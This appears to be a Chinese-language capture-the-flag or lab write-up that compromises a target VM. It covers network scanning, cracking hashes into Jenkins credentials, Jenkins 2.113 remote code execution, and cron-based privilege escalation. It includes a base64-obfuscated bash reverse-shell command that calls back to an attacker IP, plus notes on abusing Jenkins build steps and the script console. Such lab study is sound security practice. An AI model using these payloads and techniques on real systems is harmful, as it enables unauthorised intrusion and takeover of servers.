主机探测
nmap扫网段中靶机的ip:nmap -sn 192.168.6.1/24
192.168.6.224
然后扫端口开放情况
80端口
dirsearch扫目录:
访问这个唯一的200页面 看上去是hash 挨个解密:
|
|
8080端口-Jenkins
Jenkins是一个开源的持续集成/持续部署(CI/CD)工具,用于自动化各种任务,包括构建、测试和部署软件。
curl一下看版本:curl -s -I http://192.168.6.224:8080/| grep X-Jenkins
版本是:Jenkins ver. 2.113
之前解密得到的东西,看着像账号密码,挨个尝试登录,最终eder/vipsu
可以登录
根据版本搜索可能存在的漏洞
上工具:https://github.com/orangetw/awesome-jenkins-rce-2019
尝试反弹shell
python2 exp.py http://192.168.6.224:8080/ "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuMTYyLzU1NTU1IDA+JjE=}|{base64, -d}|{bash, -i}"
成功
计划任务提权
现在来尝试提权
首先升级我们的shell,升级为完整的tty
为什么要升级为完整的tty:获取的shell并不是一个具有完整交互的shell,因此可能会在使用过程中被挂起,甚至还可能会因为我们的操作失误,例如不小心摁下了 “Ctrl-C”键,这将直接终止我们的整个shell进程让徒劳而归。
|
|
升级成完整的tty之后使用体验好了许多
尝试Linux内核漏洞提权
uname -a
查看靶标系统信息
用kali自带的searchsploit搜索版本漏洞
但是没有gcc,无法利用内核漏洞提权 参考文章
尝试定时任务提权 但是在编辑crontab添加定时任务的时候,发现无法添加,因为这个文件目前权限是只读
可以看到定时任务里有一条任务,是执行/etc/script/CleaningScript.sh,查询这个文件的权限:
其他用户也是具有写入权限的
用定时任务进行提权:
- 找到一个可读写更改的脚本
- 更改其内容进行反弹shell的操作
因此,修改CleaningScript.sh文件的内容
|
|
注意是单引号,echo
命令中,单引号内的内容写什么就是什么,双引号内的内容会对一些特殊字符做特殊含义的处理,我在这个地方最开始报错,就是写了双引号,会对!
赋予特殊意思,被用于引用历史命令。
提权成功
Got flag
知识点
Jenkins
Jenkins 是一个开源的持续集成/持续部署(CI/CD)工具,主要用于自动化各种任务,包括构建、测试和部署软件。
-
持续集成(CI):这是一种软件开发实践,开发人员会频繁地(通常每天)将他们的新代码更改集成到主分支中。每次集成都通过自动化的构建(包括编译、发布、自动化测试)来验证,以便尽早地发现并修复集成错误。
-
持续交付(CD):这是一种扩展持续集成的实践,它确保了你可以随时将你的应用发布到生产环境。在持续交付中,每次集成后的构建都会通过一个复制生产环境的预发布阶段进行额外的自动化测试。这意味着,如果这个构建通过了所有的自动化测试,它就可以被手动部署到生产环境。
-
持续部署(也是 CD):这是持续交付的下一步,不仅所有更改都会自动测试,如果一切顺利,它们还会自动部署到生产环境。这意味着每次更改都会直接进入生产,这使得开发团队能够更快更频繁地交付小的增量改进和新功能。
既然Jenkins可以帮助交付我们更新的代码,那是否可以帮助我们提交恶意脚本命令呢?
01 构建任务
新建任务
构建自由风格
此处写入反弹shell的命令,然后点击立即构建,触发反弹shell的命令,成功
02 脚本命令行
03 管理节点-script
设置-脚本命令行
定时任务提权
用定时任务进行提权:
- 找到一个可读写更改的脚本
- 更改其内容进行反弹shell的操作
总结
1、提权姿势尝试顺序:suid、sudo、计划任务、网站的敏感credits、mysql,最后尝试内核提权,因为内核提权可能会影响到服务器,使其崩溃
2、Jenkins RCE姿势